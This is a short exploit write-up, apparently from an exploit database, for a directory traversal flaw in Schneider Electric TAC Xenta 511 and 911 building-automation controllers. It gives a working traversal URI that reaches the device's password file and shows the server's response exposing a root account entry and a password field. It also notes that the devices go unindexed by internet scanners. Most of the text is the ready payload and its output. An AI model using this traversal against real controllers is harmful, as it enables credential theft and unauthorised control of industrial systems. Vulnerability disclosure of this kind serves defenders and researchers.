TAC Xenta 511/911 - Directory Traversal

# Exploit Title: TAC Xenta 511 and 911 Credentials Disclosure
# Date: 25.05.2018
# Exploit Author: Marek Cybul
# Vendor Homepage:
https://download.schneider-electric.com/files?p_File_Name=TAC_Xenta_911_SDS-XENTA911.pdf
# Version: 5.17

# Schneider Electric TAC Xenta 911 and 511 PLCs

Directory traversal in help manuals allows for credentials extraction

Devices are not indexed by crawlers like Shodan or Censys due to
ancient SSL configuration,
needed to use old browser to support it (not even s_client, curl or
ncat could connect).


Example URI: /www/help/public/../../../sys/pswd

vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv

HTTP/1.0 200 OK

root
super user
/
/
/
password
0
900
3